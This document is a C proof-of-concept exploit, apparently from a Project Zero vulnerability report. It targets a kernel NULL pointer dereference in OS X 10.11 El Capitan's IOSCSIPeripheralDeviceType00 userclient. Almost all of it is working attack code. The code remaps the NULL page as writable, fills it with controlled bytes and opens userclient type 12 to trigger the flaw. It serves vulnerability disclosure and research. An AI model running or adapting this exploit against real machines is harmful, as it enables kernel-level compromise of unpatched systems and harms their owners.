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/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=562
Opening userclient type 12 of IOSCSIPeripheralDeviceType00 leads to an exploitable kernel NULL dereference.
Tested on OS X 10.11 ElCapitan (15a284) on MacBookAir5,2
*/
// ianbeer
// clang -o scsi_peripheral scsi_peripheral.c -m32 -framework IOKit -g -pagezero_size 0x0
/*
Opening userclient type 12 of IOSCSIPeripheralDeviceType00 leads to an exploitable kernel NULL dereference
Tested on OS X 10.11 ElCapitan (15a284) on MacBookAir5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
io_connect_t conn = MACH_PORT_NULL;
int main() {
kern_return_t err;
// re map the null page rw
int var = 0;
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
if (err != KERN_SUCCESS){
printf("%x\n", err);
}
vm_address_t addr = 0;
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
if (err != KERN_SUCCESS){
if (err == KERN_INVALID_ADDRESS){
printf("invalid address\n");
}
if (err == KERN_NO_SPACE){
printf("no space\n");
}
printf("%x\n", err);
}
char* np = 0;
for (int i = 0; i < 0x1000; i++){
np[i] = 'A';
}
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSCSIPeripheralDeviceType00"));
if (service == MACH_PORT_NULL) {
printf("can't find service\n");
return 0;
}
IOServiceOpen(service, mach_task_self(), 12, &conn); // <-- userclient type 12
if (conn == MACH_PORT_NULL) {
printf("can't connect to service\n");
return 0;
}
printf("boom?\n");
return 0;
}
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